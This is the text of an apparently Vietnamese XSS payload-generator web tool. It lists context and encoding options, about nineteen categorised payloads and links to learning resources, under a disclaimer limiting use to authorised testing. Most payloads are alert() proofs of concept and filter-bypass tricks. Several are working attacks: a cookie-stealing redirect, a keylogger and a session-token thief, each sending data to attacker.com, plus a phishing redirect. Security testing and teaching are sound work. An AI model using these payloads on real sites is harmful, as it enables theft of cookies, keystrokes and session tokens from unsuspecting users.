Tạo Payload XSS

Công cụ tạo và kiểm tra payload XSS với hỗ trợ tiếng Việt. Chỉ sử dụng cho mục đích giáo dục và kiểm tra bảo mật hợp pháp.

⚠️ Cảnh báo quan trọng

XSS payload có thể gây hại nghiêm trọng. Chỉ sử dụng trên website của bạn hoặc trong môi trường test được ủy quyền.

Context

Nội dung HTML thông thường

Thuộc tính HTML tag

Bên trong script tag

Bên trong style tag

Parameter trong URL

Context JavaScript

Encoding

Payload gốc không thay đổi

Mã hóa URL (%20, %3C, %3E)

HTML entities (<, >, ")

Unicode escape sequences

Base64 encoding

Hexadecimal encoding

Custom Payload

Chọn Payloads (0 đã chọn)

Alert cơ bản

medium

Payload XSS cơ bản với alert box

HTMLnone
<script>alert('XSS')</script>
Basic

Alert với tiếng Việt

medium

XSS payload hiển thị text tiếng Việt

HTMLunicode
<script>alert('Chào mừng bạn đến với XSS')</script>
Basic

Cookie theft

high

Payload để đánh cắp cookie của user

HTMLnone
<script>document.location='http://attacker.com/cookie.php?c='+document.cookie</script>
Basic

OnLoad event

medium

XSS qua event onload của body tag

HTML Attributenone
<body onload='alert("XSS")'></body>
Event-based

OnError với image

medium

XSS qua event onerror của img tag

HTML Attributenone
<img src='x' onerror='alert("XSS")'/>
Event-based

OnMouseOver event

low

XSS khi user hover chuột

HTML Attributenone
<div onmouseover='alert("XSS")'>Hover me</div>
Event-based

Uppercase bypass

medium

Bypass filter bằng cách dùng chữ hoa

HTMLcase
<SCRIPT>alert('XSS')</SCRIPT>
Filter Bypass

Mixed case bypass

medium

Bypass filter với mixed case

HTMLcase
<ScRiPt>alert('XSS')</ScRiPt>
Filter Bypass

Unicode bypass

medium

Bypass filter sử dụng Unicode encoding

HTMLunicode
<script>alert(String.fromCharCode(88,83,83))</script>
Filter Bypass

HTML entity bypass

medium

Bypass filter với HTML entities

HTMLhtml-entity
&lt;script&gt;alert(&#39;XSS&#39;)&lt;/script&gt;
Filter Bypass

Tấn công qua tìm kiếm

high

XSS qua form tìm kiếm với từ khóa Việt

Search Formnone
'"><script>alert('Tìm kiếm không an toàn')</script>
Vietnamese

Comment injection Việt

high

XSS qua form comment với nội dung tiếng Việt

Comment Formnone
<script>alert('Bình luận độc hại')</script>
Vietnamese

Unicode Việt bypass

medium

Bypass filter với ký tự Unicode Việt

Input Fieldunicode
<script>alert('Xin chào: ' + document.domain)</script>
Vietnamese

Location hash XSS

high

DOM XSS qua location.hash

JavaScripturl
#<script>alert('DOM XSS')</script>
DOM-based

Document.write XSS

high

DOM XSS qua document.write

JavaScriptnone
<script>document.write('<script>alert("XSS")</script>')</script>
DOM-based

innerHTML XSS

high

DOM XSS qua innerHTML property

JavaScriptnone
<img src='x' onerror='this.innerHTML="<script>alert(\"XSS\")</script>"'/>
DOM-based

Keylogger injection

high

Inject keylogger để thu thập dữ liệu

HTMLnone
<script>document.addEventListener('keypress',function(e){fetch('http://attacker.com/log?key='+e.key)})</script>
Advanced

Session hijacking

high

Đánh cắp session token

HTMLnone
<script>fetch('http://attacker.com/steal?token='+localStorage.getItem('token'))</script>
Advanced

Phishing redirect

high

Chuyển hướng user tới trang phishing

HTMLnone
<script>if(confirm('Phiên làm việc hết hạn. Đăng nhập lại?'))location='http://fake-site.com'</script>
Advanced

📖 Tài liệu học thêm về XSS

Tài liệu chính thức:

  • • OWASP XSS Prevention Cheat Sheet
  • • MDN Web Security Guidelines
  • • W3C Content Security Policy
  • • SANS XSS Prevention Guide

Practice Labs:

  • • DVWA (Damn Vulnerable Web App)
  • • XSS Hunter (xsshunter.com)
  • • PortSwigger Web Security Academy
  • • HackTheBox XSS Challenges